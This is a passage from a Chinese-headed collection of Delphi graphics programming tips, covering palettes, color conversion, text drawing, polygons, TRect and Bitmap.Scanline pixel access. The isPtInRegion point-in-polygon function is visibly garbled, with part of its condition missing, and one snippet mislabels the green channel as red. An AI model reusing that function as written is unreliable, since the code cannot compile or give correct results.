map.loadfromfile('d:\windows\256color.bmp');

image1.canvas.stretchdraw(pic,map);

end;


判断一点是否在区域中

The Windows 3.1 and Windows 95 GDI heap is limited in regards
to scan converting large and complex regions such as Ellipses,
Polygons, and PolyPolygons. One "Brute Force" technique is to
create an "in memory" monochrome bitmap and draw the
required shape in black. You can then test to see if a given point in
the bitmap is black or white. If the test pixel is black, then the given
point is "in" the given region.

Example:

procedure TForm1.Button1Click(Sender: TObject);
var
bm : TBitmap;
begin
bm := TBitmap.Create;
bm.Monochrome := true;
bm.Height := 100;
bm.Width := 100;
bm.Canvas.Brush.Color := clWhite;
bm.Canvas.FillRect(Rect(0, 0, 100, 100));
bm.Canvas.Brush.Color := clBlack;
bm.Canvas.Pen.Color := clBlack;
bm.Canvas.Ellipse(10, 10, 90, 90);
if bm.Canvas.Pixels[20, 20] = clBlack then
ShowMessage('Point : (20, 20) is in region') else
ShowMessage('Point : (20, 20) is not in region');
if bm.Canvas.Pixels[50, 50] = clBlack then
ShowMessage('Point : (50, 50) is in region') else
ShowMessage('Point : (50, 50) is not in region');
bm.Free;
end;


创建调色板

procedure TForm1.Button1Click(Sender: TObject);
var
lpPalette : PLogPalette;
hPal : hPalette;
i : integer;
begin

{Allocate the memory used by the palette}
GetMem(lpPalette,
sizeof(TLogPalette) + (255 * sizeof(TPaletteEntry)));

{Fill out the palette header}
lpPalette^.palVersion := $300;
lpPalette^.palNumEntries := 256;

 {Turn range checking off if it is on and}
{remember the range
checking state}
{$IFOPT R+}
{$DEFINE
CKRANGE}
{$R-}
{$ENDIF}

 {Fill in the palette structure color table with shades of
gray}
for i := 0 to 255 do begin
lpPalette^.PalPalEntry[i].peRed := i;
lpPalette^.PalPalEntry[i].peGreen := i;
lpPalette^.PalPalEntry[i].peBlue := i;
end;

 {Turn range checking back on if it was on when we
started}
{$IFDEF CKRANGE}
{$UNDEF
CKRANGE}
{$R+}
{$ENDIF}

{Create a palette handle}
hPal := CreatePalette(lpPalette^);

{Free the memory use by the palette structure}
FreeMem(lpPalette,
sizeof(TLogPalette) + (255 * sizeof(TPaletteEntry)));

{Do something with the palette here}

{Delete the palette handle after use}
DeleteObject(hPal);
end;


改变图象调色板

var
Bitmap: TBitmap;
begin

Bitmap:=TBitmap.Create;
Bitmap.LoadfromFile({'Whatever.bmp'});

 With Image2.Picture.bitmap
do
Begin
Width:=Bitmap.Width;
height:=Bitmap.Height;
Palette:=Bitmap.Palette;
Canvas.draw(0,0,bitmap);
Refresh;
end;
end;
如果要往窗体上画
Canvas.Draw(0,0,Bitmap);
SelectPalette(Form1.Canvas.handle,Bitmap.Palette,True);
RealizePalette(Form1.Canvas.Handle);


转换TColor到Html颜色字符串

 procedure TForm1.Button1Click(Sender: TObject);
var
TheRgbValue : TColorRef;
begin
if ColorDialog1.Execute then begin
TheRgbValue := ColorToRGB(ColorDialog1.Color);
ShowMessage(Format('%.2x%.2x%.2x',
[GetRValue(TheRGBValue),
GetGValue(TheRGBValue),
GetBValue(TheRGBValue)]));
end;
end;


TColor转化为字符串

 procedure TForm1.Button1Click(Sender: TObject);
begin
Memo1.Lines.Add(ColorToString(clRed));
Memo1.Lines.Add(IntToStr(StringToColor('clRed')));
end;


刷新整个画布

procedure TForm1.FormResize(Sender: TObject);
begin
InvalidateRect(Form1.Handle, nil, false);
end;


鼠标选取图象的实现

type
TForm1 = class(TForm)
procedure FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
procedure FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
{ Private declarations }
Capturing : bool;
Captured : bool;
StartPlace : TPoint;
EndPlace : TPoint;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

function MakeRect(Pt1 :
TPoint;
Pt2 : TPoint) : TRect;
begin
if pt1.x < pt2.x then
begin
Result.Left := pt1.x;
Result.Right := pt2.x;
end else begin
Result.Left := pt2.x;
Result.Right := pt1.x;
end;
if pt1.y < pt2.y then begin
Result.Top
:= pt1.y;
Result.Bottom := pt2.y;
end else
begin
Result.Top := pt2.y;
Result.Bottom := pt1.y;
end;
end;

procedure TForm1.FormMouseDown(Sender: TObject; Button:
TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
if Captured then
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
StartPlace.x := X;
StartPlace.y := Y;
EndPlace.x := X;
EndPlace.y := Y;
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
Capturing := true;
Captured := true;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
if Capturing then begin
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
EndPlace.x := X;
EndPlace.y := Y;
DrawFocusRect(Form1.Canvas.Handle,
MakeRect(StartPlace,
EndPlace));
end;

end;

procedure TForm1.FormMouseUp(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
Capturing := false;
end;


画动态多边型

type
TPtArray = array[0..0] of TPoint;
PPtArray = ^TPtArray;

procedure DrawDynamicPolyArray(NumPoints :
integer;
Canvas : TCanvas);
var
p : PPtArray;
i :
integer;
begin
{$IFOPT R+}
{$DEFINE CKRANGE}
{$R-}
{$ENDIF}
GetMem(p, sizeof(TPoint) * NumPoints);
Randomize;
for i := 0 to (NumPoints -1) do begin
p^[i].x := Random(Form1.Width);
p^[i].y :=
Random(Form1.Height);
end;
Polygon(Canvas.Handle, p,
NumPoints);
FreeMem(p, sizeof(TPoint) * NumPoints);
{$IFDEF
CKRANGE}
{$UNDEF CKRANGE}
{$R+}
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.Canvas.Brush.Color := clWhite;
Form1.Canvas.FillRect(Rect(0, 0, Form1.Width, Form1.Height));
Form1.Canvas.Brush.Color := clRed;
DrawDynamicPolyArray(SpinEdit1.Value,
Form1.Canvas);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
SpinEdit1.MinValue :=
  2;
SpinEdit1.MaxValue := 1000;
SpinEdit1.Value := 100;
end;

end.


使文字背景透明

procedure TForm1.Button1Click(Sender: TObject);
var
OldBkMode :
integer;
begin
with Form1.Canvas do begin
Brush.Color := clRed;
FillRect(Rect(0, 0, 100,
100));
Brush.Color := clBlue;
TextOut(10, 20, 'Not Transparent!');
OldBkMode :=
SetBkMode(Handle, TRANSPARENT);
TextOut(10, 50,
'Transparent!');
SetBkMode(Handle, OldBkMode);
end;
end;


改变文字背景颜色

 procedure TForm1.Button1Click(Sender: TObject);
var
OldTextColor : TColorRef;
OldBkColor : TColorRef;
OldBkMode : Integer;
begin
OldTextColor := SetTextColor(Form1.Canvas.Handle, RGB(0, 0, 255));
OldBkColor := SetBkColor(Form1.Canvas.Handle, RGB(255, 0, 0));
OldBkMode := SetBkMode(Form1.Canvas.Handle, OPAQUE);
TextOut(Form1.Canvas.Handle,
100, 100,
'Blue text on red Background',
27);
SetBkMode(Form1.Canvas.Handle, OldBkMode);
SetBkColor(Form1.Canvas.Handle, OldBkColor);
SetTextColor(Form1.Canvas.Handle, OldTextColor);
end;


透明文字

 Image1.Canvas.Brush.Style := bsClear;
Image1.Canvas.TextOut(10, 10,‘透明文字');


使用路径和几何笔

 procedure TForm1.Button1Click(Sender: TObject);
var
lb : TLogBrush;
begin
lb.lbStyle := BS_SOLID;
lb.lbColor := RGB(255, 0, 0);
lb.lbHatch := 0;
Form1.Canvas.Pen.Handle :=
ExtCreatePen(PS_GEOMETRIC or
PS_INSIDEFRAME or
PS_ENDCAP_SQUARE or
PS_JOIN_BEVEL,
20,
lb,
0,
nil);
BeginPath(Form1.Canvas.Handle);
Form1.Canvas.MoveTo(100, 30);
Form1.Canvas.LineTo(200, 100);
Form1.Canvas.LineTo(300, 30);
EndPath(Form1.Canvas.Handle);
StrokePath(Form1.Canvas.Handle);
Form1.Canvas.Pen.Width := 1;
end;


转化RGB颜色为CMYK颜色

procedure RGBTOCMYK(R :
byte;
G :
byte;
B :
byte;
var C :
byte;
var M :
byte;
var Y :
byte;
var K : byte);
begin
C := 255 - R;
M := 255 -
G;
Y := 255 - B;
if C < M then
K :=
C else
K := M;
if Y < K
then
K := Y;
if k > 0 then
begin
c := c - k;
m := m -
k;
y := y - k;
end;
end;

procedure CMYKTORGB(C :
byte;
M:
byte;
Y :
byte;
K :
byte;
var R :
byte;
var G :
byte;
var B : byte);
begin
if (Integer(C) + Integer(K)) < 255
then
R := 255 - (C + K)
else
R := 0;
if (Integer(M) +
Integer(K)) < 255 then
G := 255 - (M + K)
else
G := 0;
if (Integer(Y) +
Integer(K)) < 255 then
B := 255 - (Y + K)
else
B := 0;
end;

procedure ColorCorrectCMYK(var C :
byte;
var M :
byte;
var Y :
byte;
var K : byte);
var
MinColor : byte;
begin
if C < M
then
MinColor := C else
MinColor :=
M;
if Y < MinColor  then
MinColor :=
Y;
if MinColor + K > 255 then
MinColor := 255
- K;
C := C - MinColor;
M := M - MinColor;
Y := Y
- MinColor;
K := K + MinColor;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
R :
byte;
G : byte;
B : byte;
C : byte;
M :
byte;
Y : byte;
K : byte;
begin
R :=
151;
G := 81;
B := 55;
Memo1.Lines.Add('R = ' +
IntToStr(R));
Memo1.Lines.Add('G = ' + IntToStr(G));
Memo1.Lines.Add('B = ' + IntToStr(B));
Memo1.Lines.Add('-------------------');
RGBTOCMYK(R, G, B, C, M, Y,
K);
Memo1.Lines.Add('C = ' + IntToStr(C));
Memo1.Lines.Add('M = ' + IntToStr(M));
Memo1.Lines.Add('Y = ' +
IntToStr(Y));
Memo1.Lines.Add('K = ' + IntToStr(K));
Memo1.Lines.Add('-------------------');
CMYKTORGB(C, M, Y, K, R, G,
B);
Memo1.Lines.Add('R = ' + IntToStr(R));
Memo1.Lines.Add('G = ' + IntToStr(G));
Memo1.Lines.Add('B = ' +
IntToStr(B));
Memo1.Lines.Add('-------------------');
RGBTOCMYK(R, G, B, C, M, Y, K);
c := c + 2;
m := m +
2;
y := y + 2;
ColorCorrectCMYK(C, M, Y, K);
Memo1.Lines.Add('C = ' + IntToStr(C));
Memo1.Lines.Add('M = ' +
IntToStr(M));
Memo1.Lines.Add('Y = ' + IntToStr(Y));
Memo1.Lines.Add('K = ' + IntToStr(K));
end;


判断画布是否是图元格式画布

 if (GetDeviceCaps(Canvas.Handle, TECHNOLOGY) and
DT_METAFILE) = DT_METAFILE then
IsMetafileDc := True;


获得颜色的RGB值

 procedure TForm1.Button1Click(Sender: TObject);
begin
Form1.Canvas.Pen.Color := clRed;
Memo1.Lines.Add('Red := ' +
IntToStr(GetRValue(Form1.Canvas.Pen.Color)));
Memo1.Lines.Add('Red := ' +
IntToStr(GetGValue(Form1.Canvas.Pen.Color)));
Memo1.Lines.Add('Blue := ' +
IntToStr(GetBValue(Form1.Canvas.Pen.Color)));
end;


画多边型

 procedure TForm1.Button1Click(Sender: TObject);
var
ptArray : array[0..9] of TPOINT;
PtCounts : array[0..1] of integer;
begin
PtArray[0] := Point(0, 0);
PtArray[1] := Point(0, 100);
PtArray[2] := Point(100, 100);
PtArray[3] := Point(100, 0);
PtArray[4] := Point(0, 0);
PtCounts[0] := 5;
PtArray[5] := Point(25, 25);
PtArray[6] := Point(25, 75);
PtArray[7] := Point(75, 75);
PtArray[8] := Point(75, 25);
PtArray[9] := Point(25, 25);
PtCounts[1] := 5;
PolyPolygon(Form1.Canvas.Handle,
PtArray,
PtCounts,
2);
end;


如何拷贝非矩形区域图象

 MaskBlt


求多边形的面积

const MaxPointNum = 65535;
type
PXY =
^TXY;
TXY =
record
// 点的数据结构
x, y: single;
end;
XYArray = array[0..MaxPointNum] of TXY;
PXYArray = ^XYArray;     //  线/面的数据结构

// 积分方法求多边形/面状图形的面积
// 多边形坐标在 xys 中，点数在 nn 中
function
AreaOfPolygon(xys: PXYArray; nn: integer):single;
var
ii:integer;
ss: single;
begin
ss :=
0;
for ii := 0 to nn-2
do
ss := ss + (xys^[ii].y+xys^[ii+1].y)
* (xys^[ii].x-xys^[ii+1].x) / 2;
result := abs(ss);
end;

// 判别点(x,y)是否落在多边形内
// 多边形坐标在 xys 中，点数在 nn 中
function isPtInRegion(x,
y: single; xys: PXYArray; nn: integer): boolean;
var ii, ncross :
integer;
yt, x0, y0, x1, y1, x2, y2 :
single;
begin
ncross := 0;
x0 :=
x;   y0 := y;
for ii := 0 to nn-2 do
begin
x1 :=
xys^[ii].X;     y1 :=
xys^[ii].Y;
x2 := xys^[ii+1].X;   y2
:= xys^[ii+1].Y;
if((x0>=x1) and (x0=x2)
and (x00) and ((ncross mod 2) = 1)) then Result :=
True
else Result := FALSE;
end;


RECT的灵活使用

----Delphi为用户提供了一个方便的绘图环境,即某些控件的CANVAS属性(画布)。用户可以把某些控件的表面作为一张画布,在上面绘制各种图形或显示图像,但在CANVAS的使用过程中少不了一个特殊对象,那就是矩形RECT,灵活使用它会完成很多特殊的功能,为Delphi编制的Windows程序增加活力。

RECT的特点
----RECT既是一个特殊的数据结构，又是一个函数,它的作用就是定义一个矩形区域对象,而作为函数使用时它可以用两个属性(Tpiont型)指明区域范围,同时也可分解成四个单一的变量类型(Integer型),即:

topleft:左上角坐标(Tpiont型变量)；
bottomright:右下角坐标(Tpiont型变量)；
topleft.x或left:左上角横坐标；
topleft.y或top:左上角纵坐标；
bottomright.x或right:右下角横坐标；
bottomright.y或bottom:右下角纵坐标。
----例如，下面三种方法定义一个相同的RECT变量:

    Rect(10,10,110,210);
    topleft:=Piont(10,10);
bottomright:=Point(110,210);
    left:=10;top:=10;right:=110;Bottom:=210;
----下面的代码在Form1窗体上定义一个RECT矩形并用红色填充:

     var
NewRect: TRect;
begin

NewRect := Rect(20,
30, 50, 90);
Form1.Canvas.Brush.Color := clRed;
Form1.Canvas.FillRect(NewRect);
end;
----从上面可以看出,RECT只是一个通用变量,它并不属于任何控件本身,定义之后可由任何具有CANVAS属性的控件使用,以指明某控件表面的一个矩形区域,并且程序运行过程中可随意修改尺寸和位置。

RECT操作命令
Rect(x1,y1,x2,y2):定义Rect区域范围。
FillRect(rect:Trect):用填充色填充Rect区域。
FloodFill:用填充色填充Rect之外区域。
textrect(Rect:TRect;X,Y:Integer;constText:string):在Rect对象中显示文本,其中的X、Y为显示文本的坐标值,是相对于画布的坐标而不是相对于RECT的坐标；const为显示的字符个数；string为待显示的字符串，只有在RECT内的字符才能显示出来,超出部分不显示。
stretchdraw(constRect:TRect;Graphic:TGraphic):把图像文件填充到Rect之中,并且图像按RECT的尺寸自动伸缩,其中的Graphic可为BMP或ICO等图像资源。
font.size:定义画布上显示文字的尺寸。
font.color:定义画布上显示文字的颜色。
textwidth:返回字符串的长度。
textheight:返回字符串的高度。
Brush.Color:定义画布的填充颜色。
Copyrect(Dest:TRect;Canvas:Tcanvas;Source:TRect):把图像从一个矩形中拷到另一个矩形之中,并且按目标矩形尺寸自动伸缩,其中，Dest为目标画布矩形,Canvas为源画布,Source为源矩形。
----由于上述命令均是基于画布本身使用的,所以具体使用时必须加上控件及画面属性,例如下面的代码:

     var
TheRect: TRect;
begin
TheRect.Top := 10;
TheRect.Left := 10;
TheRect.Bottom := 100;
TheRect.Right :=
100;
Form1.Canvas.TextRect(TheRect,0,0,'Hello,
world!');
end;


获得当前颜色深度

 function GetColorDepth: integer
var
dc: HDC;
begin
dc := GetDC(0);
Result := GetDeviceCaps(dc, BITSPIXEL);
ReleaseDC(0, dc);
end;


一些背景

Bitmap.Scanline for PixelFormat=pf1bit, pf8bit, pf24bit
(Delphi 3 Technical Note)

"Earl F. Glynn"
Since someone from Italy asked me for an example of using pf1bit Bitmaps, I thought I would post part of my response and add other details for pf8bit and pf24bit here in case others were wondering.

Background

The new Delphi 3 scanline property allows quick access to individual pixels, but you must know what Bitmap.PixelFormat you're working with before you can access the pixels.

Possible PixelFormats include:

pfDevice
pf1bit
pf4bit
pf8bit
pf15bit
pf16bit
pf24bit
pf32bit
pf24bit Bitmaps
For pf24bit bitmaps, I define (I wish Borland would)

--------------------------------------------------------------------------------

CONST
PixelCountMax = 32768;

TYPE
pRGBArray = ^TRGBArray;
TRGBArray = ARRAY[0..PixelCountMax-1] OF TRGBTriple;

--------------------------------------------------------------------------------
Note: TRGBTriple is defined in the Windows.PAS unit.
To step through a 24-bit bitmap and while creating a new one and access the 3-bytes-per-pixel data, use a construct like the following:

--------------------------------------------------------------------------------

...
VAR
i : INTEGER;
j : INTEGER;
RowOriginal : pRGBArray;
RowProcessed: pRGBArray;
BEGIN
IF OriginalBitmap.PixelFormat <> pf24bit
THEN RAISE EImageProcessingError.Create('GetImageSpace: ' +
'Bitmap must be 24-bit color.');

{Step through each row of image.}
FOR j := OriginalBitmap.Height-1 DOWNTO 0 DO
BEGIN
RowOriginal := pRGBArray(OriginalBitmap.Scanline[j]);
RowProcessed := pRGBArray(ProcessedBitmap.Scanline[j]);

FOR i := OriginalBitmap.Width-1 DOWNTO 0 DO
BEGIN

//       Access individual color RGB color
planes with references
like:
//
RowProcessed[i].rgbtRed     :=
RowOriginal[i].rgbtRed;
//
RowProcessed[i].rgbtGreen  :=
RowOriginal[i].rgbtGreen;
//
RowProcessed[i].rgbtBlue    := RowOriginal[i].rgbtBlue;

END

END
...

--------------------------------------------------------------------------------
pf8bit Bitmaps
Access to these byte-per-pixel bitmaps is easy using the TByteArray (defined in SysUtils.PAS):

--------------------------------------------------------------------------------

  PByteArray = ^TByteArray;
TByteArray = array[0..32767] of
Byte;

--------------------------------------------------------------------------------
(I suppose, but I've never tried it, you could access pf16bit Bitmaps using the following defined in SysUtils.PAS:

--------------------------------------------------------------------------------

PWordArray = ^TWordArray;
TWordArray = array[0..16383] of Word; )

--------------------------------------------------------------------------------
To process an 8-bit (pf8bit) bitmap, use a construct like the following that constructs a histogram of such a bitmap:

--------------------------------------------------------------------------------

TYPE
THistogram = ARRAY[0..255] OF INTEGER;
...

VAR
Histogram: THistogram;
i : INTEGER;
j : INTEGER;
Row : pByteArray;

...
FOR i := Low(THistogram) TO High(THistogram) DO
Histogram[i] := 0;

IF Bitmap.PixelFormat = pf8bit
THEN BEGIN

FOR j := Bitmap.Height-1 DOWNTO 0 DO
BEGIN
Row := pByteArray(Bitmap.Scanline[j]);
FOR i := Bitmap.Width-1 DOWNTO 0 DO
BEGIN
INC (Histogram[Row[i]])
END
END

END
...

--------------------------------------------------------------------------------
pf1bit Bitmaps
Accessing pf8bit bitmaps is easy since they are one byte per pixel. But you can save a lot of memory if you only need a single bit per pixel (such as with various masks), if you use pf1bit Bitmaps.

As with pf8bit bitmaps, use a TByteArray to access pf1bit Scanlines. But you will need to perform bit operations on the bytes to access the various pixels. Also, the width of the Scanline is Bitmap.Width DIV 8 bytes.

The following code shows how to create the following kinds of 1-bit bitmaps: black, white, stripes, "g", "arrow" and random -- an "invert" option is also available. (Send me an E-mail if you'd like the complete working source code including the form.)

Create a form with an Image1: TImage on it -- I used 1 256x256 Image1 with Stretch := TRUE to see the individual pixels more easily. The buttons Black, White and Stripes have tags of 0, 255, and 85 ($55 = 01010101 binary) that call ButtonStripesClick when selected.

Buttons "g" and "arrow" call separate event handlers to draw these bitmaps taken form HP Laserjet examples.

"Random" just randomly sets bits on in the 1-bit bitmaps.

"Invert" changes all the 0s to 1's and vice versa.

--------------------------------------------------------------------------------

// Example of how to use Bitmap.Scanline for PixelFormat=pf1Bit.
// Requested by Mino Ballone from Italy.
//
// Copyright (C) 1997, Earl F. Glynn, Overland Park, KS. All rights
reserved.
// May be freely used for non-commerical purposes.

unit ScreenSingleBit;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Image1:
TImage;
ButtonBlack: TButton;
ButtonWhite: TButton;
ButtonStripes:
TButton;
ButtonG: TButton;
ButtonArrow: TButton;
ButtonRandom:
TButton;
ButtonInvert: TButton;
procedure ButtonStripesClick(Sender: TObject);
procedure
ButtonGClick(Sender: TObject);
procedure
FormCreate(Sender: TObject);
procedure FormDestroy(Sender:
TObject);
procedure ButtonRandomClick(Sender:
TObject);
procedure ButtonInvertClick(Sender:
TObject);
procedure ButtonArrowClick(Sender:
TObject);
private
Bitmap:
TBitmap;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

CONST
BitsPerPixel = 8;

procedure TForm1.ButtonStripesClick(Sender: TObject);
VAR
i : INTEGER;
j : INTEGER;
Row : pByteArray;
Value : BYTE;
begin
Value := (Sender AS TButton).Tag;
// Value = $00 = 00000000 binary for black
// Value = $FF = 11111111 binary for white
// Value = $55 = 01010101 binary for black & white stripes

FOR j := 0 TO Bitmap.Height-1 DO
BEGIN
Row := pByteArray(Bitmap.Scanline[j]);
FOR i := 0 TO (Bitmap.Width DIV BitsPerPixel)-1 DO
BEGIN
Row[i] := Value
END
END;

Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.ButtonGClick(Sender: TObject);
CONST
{The "g" bitmap was adapted from the LaserJet IIP Printer Tech Ref
Manual}
G: ARRAY[0..31, 0..3] OF BYTE =
{ 0} ( ($00, $FC, $0F, $C0), {00000000 11111100 00001111 11000000}
{ 1} ($07, $FF, $1F, $E0), {00000111 11111111 00011111 11100000}
{ 2} ($0F, $FF, $9F, $C0), {00001111 11111111 10011111 11000000}
{ 3} ($3F, $D7, $DE, $00), {00111111 11010111 11011110 00000000}
{ 4} ($3E, $01, $FE, $00), {00111110 00000001 11111110 00000000}
{ 5} ($7C, $00, $7E, $00), {01111100 00000000 01111110 00000000}
{ 6} ($78, $00, $7E, $00), {01111000 00000000 01111110 00000000}
{ 7} ($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
{ 8} ($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
{ 9} ($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
{10} ($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
{11} ($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
{12} ($F0, $00, $1E, $00), {11110000 00000000 00011110 00000000}
{13} ($F0, $00, $3E, $00), {11110000 00000000 00111110 00000000}
{14} ($78, $00, $3E, $00), {01111000 00000000 00111110 00000000}
{15} ($78, $00, $3E, $00), {01111000 00000000 00111110 00000000}
{16} ($78, $00, $7E, $00), {01111000 00000000 01111110 00000000}
{17} ($3C, $00, $FE, $00), {00111100 00000000 11111110 00000000}
{18} ($1F, $D7, $DE, $00), {00011111 11010111 11011110 00000000}
{19} ($0F, $FF, $5E, $00), {00001111 11111111 10011110 00000000}
{20} ($07, $FF, $1E, $00), {00000111 11111111 00011110 00000000}
{21} ($00, $A8, $1E, $00), {00000000 10101000 00011110 00000000}
{22} ($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
{23} ($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
{24} ($00, $00, $1E, $00), {00000000 00000000 00011110 00000000}
{25} ($00, $00, $3E, $00), {00000000 00000000 00111110 00000000}
{26} ($00, $00, $3C, $00), {00000000 00000000 00111100 00000000}
{27} ($00, $00, $7C, $00), {00000000 00000000 01111100 00000000}
{28} ($00, $01, $F8, $00), {00000000 00000001 11111000 00000000}
{29} ($01, $FF, $F0, $00), {00000001 11111111 11110000 00000000}
{30} ($03, $FF, $E0, $00), {00000011 11111111 11100000 00000000}
{31} ($01, $FF, $80, $00)); {00000001 11111111 10000000 00000000}

VAR
i : INTEGER;
j : INTEGER;
Row: pByteArray;
begin
FOR j := 0 TO Bitmap.Height-1 DO
BEGIN
Row := pByteArray(Bitmap.Scanline[j]);
FOR i := 0 TO (Bitmap.Width DIV BitsPerPixel)-1 DO
BEGIN
Row[i] := G[j,i]
END
END;

Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.ButtonArrowClick(Sender: TObject);
CONST
{The "arrow" bitmap was adapted from the LaserJet IIP Printer Tech Ref
Manual}
Arrow: ARRAY[0..31, 0..3] OF BYTE =
{ 0} ( ($00, $00, $80, $00), {00000000 00000000 10000000 00000000}
{ 1} ($00, $00, $C0, $00), {00000000 00000000 11000000 00000000}
{ 2} ($00, $00, $E0, $00), {00000000 00000000 11100000 00000000}
{ 3} ($00, $00, $F0, $00), {00000000 00000000 11110000 00000000}
{ 4} ($00, $00, $F8, $00), {00000000 00000000 11111000 00000000}
{ 5} ($00, $00, $FC, $00), {00000000 00000000 11111100 00000000}
{ 6} ($00, $00, $FE, $00), {00000000 00000000 11111110 00000000}
{ 7} ($00, $00, $FF, $00), {00000000 00000000 11111111 00000000}
{ 8} ($00, $00, $FF, $80), {00000000 00000000 11111111 10000000}
{ 9} ($FF, $FF, $FF, $C0), {11111111 11111111 11111111 11000000}
{10} ($FF, $FF, $FF, $E0), {11111111 11111111 11111111 11100000}
{11} ($FF, $FF, $FF, $F0), {11111111 11111111 11111111 11110000}
{12} ($FF, $FF, $FF, $F8), {11111111 11111111 11111111 11111000}
{13} ($FF, $FF, $FF, $FC), {11111111 11111111 11111111 11111100}
{14} ($FF, $FF, $FF, $FE), {11111111 11111111 11111111 11111110}
{15} ($FF, $FF, $FF, $FF), {11111111 11111111 11111111 11111111}
{16} ($FF, $FF, $FF, $FF), {11111111 11111111 11111111 11111111}
{17} ($FF, $FF, $FF, $FE), {11111111 11111111 11111111 11111110}
{18} ($FF, $FF, $FF, $FC), {11111111 11111111 11111111 11111100}
{19} ($FF, $FF, $FF, $F8), {11111111 11111111 11111111 11111000}
{20} ($FF, $FF, $FF, $F0), {11111111 11111111 11111111 11110000}
{21} ($FF, $FF, $FF, $E0), {11111111 11111111 11111111 11100000}
{22} ($FF, $FF, $FF, $C0), {11111111 11111111 11111111 11000000}
{23} ($00, $00, $FF, $80), {00000000 00000000 11111111 10000000}
{24} ($00, $00, $FF, $00), {00000000 00000000 11111111 00000000}
{25} ($00, $00, $FE, $00), {00000000 00000000 11111110 00000000}
{26} ($00, $00, $FC, $00), {00000000 00000000 11111100 00000000}
{27} ($00, $00, $F8, $00), {00000000 00000000 11111000 00000000}
{28} ($00, $00, $F0, $00), {00000000 00000000 11110000 00000000}
{29} ($00, $00, $E0, $00), {00000000 00000000 11100000 00000000}
{30} ($00, $00, $C0, $00), {00000000 00000000 11000000 00000000}
{31} ($00, $00, $80, $00)); {00000000 00000000 10000000 00000000}

VAR
i : INTEGER;
j : INTEGER;
Row: pByteArray;
begin
FOR j := 0 TO Bitmap.Height-1 DO
BEGIN
Row := pByteArray(Bitmap.Scanline[j]);
FOR i := 0 TO (Bitmap.Width DIV BitsPerPixel)-1 DO
BEGIN
Row[i] := arrow[j,i]
END
END;

Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Bitmap
:= TBitmap.Create;
WITH Bitmap DO
BEGIN
Width  := 32;
Height :=
32;
PixelFormat := pf1bit
END;
Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
Bitmap.Free
end;

procedure TForm1.ButtonRandomClick(Sender: TObject);
VAR
i : INTEGER;
j : INTEGER;
Row: pByteArray;
begin
FOR j := 0 TO Bitmap.Height-1 DO
BEGIN
Row := pByteArray(Bitmap.Scanline[j]);
FOR i := 0 TO (Bitmap.Width DIV BitsPerPixel)-1 DO
BEGIN
Row[i] := Random(256)
END
END;

Image1.Picture.Graphic := Bitmap
end;

procedure TForm1.ButtonInvertClick(Sender: TObject);
VAR
i : INTEGER;
j : INTEGER;
Row: pByteArray;
begin
FOR j := 0 TO Bitmap.Height-1 DO
BEGIN
Row := pByteArray(Bitmap.Scanline[j]);
FOR i := 0 TO (Bitmap.Width DIV BitsPerPixel)-1 DO
BEGIN
Row[i] := NOT Row[i]
END
END;

Image1.Picture.Graphic := Bitmap
end;

end.


创建位图

One way to create a bitmap from a pixel array is to use the
Windows API function CreateDiBitmap(). This will allow you to
use one of many device independent bitmap formats that Windows
uses to store your pixel data. This has the advantage that it
will work on any Windows system, without knowing the pixel
format that the device uses ahead of time. Properly executed by
optimizing your code, theCreateDiBitmap function can be quite
fast as well. The following example creates a 256 color bitmap
from a pixel array. The bitmap fades from white to black using
256 gray shades. Note that normally, Windows reserves the first
and last ten colors for use as system colors, so you may only
get a maximum of 236 gray shades.

{$IFNDEF WIN32}
type
{Used for pointer math under Win16}
PPtrRec = ^TPtrRec;
TPtrRec = record
Lo : Word;
Hi : Word;
end;
{$ENDIF}

{Used for huge pointer math}
function GetBigPointer(lp :
pointer;
Offset : Longint) : Pointer;
begin
{$IFDEF WIN32}
GetBigPointer := @PByteArray(lp)^[Offset];
{$ELSE}
Offset :=
Offset + TPtrRec(lp).Lo;
GetBigPointer := Ptr(TPtrRec(lp).Hi +
TPtrRec(Offset).Hi
*
SelectorInc,
TPtrRec(Offset).Lo);
{$ENDIF}
end;

procedure TForm1.Button1Click(Sender: TObject);
var
hPixelBuffer
: THandle; {Handle to the pixel buffer}
lpPixelBuffer : pointer;
{pointer to the pixel buffer}
lpPalBuffer : PLogPalette; {The palette
buffer}
lpBitmapInfo : PBitmapInfo; {The bitmap info header}
BitmapInfoSize : longint; {Size of the bitmap info header}
BitmapSize
: longint; {Size of the pixel array}
PaletteSize : integer; {Size of
the palette buffer}
i : longint; {loop variable}
j :
longint; {loop variable}
OldPal : hPalette; {temp palette}
hPal : hPalette; {handle to our palette}
hBm : hBitmap; {handle to our
bitmap}
Bm : TBitmap; {temporary TBitmap}
Dc : hdc; {used to
convert the DOB to a DDB}
IsPaletteDevice :
bool;
begin
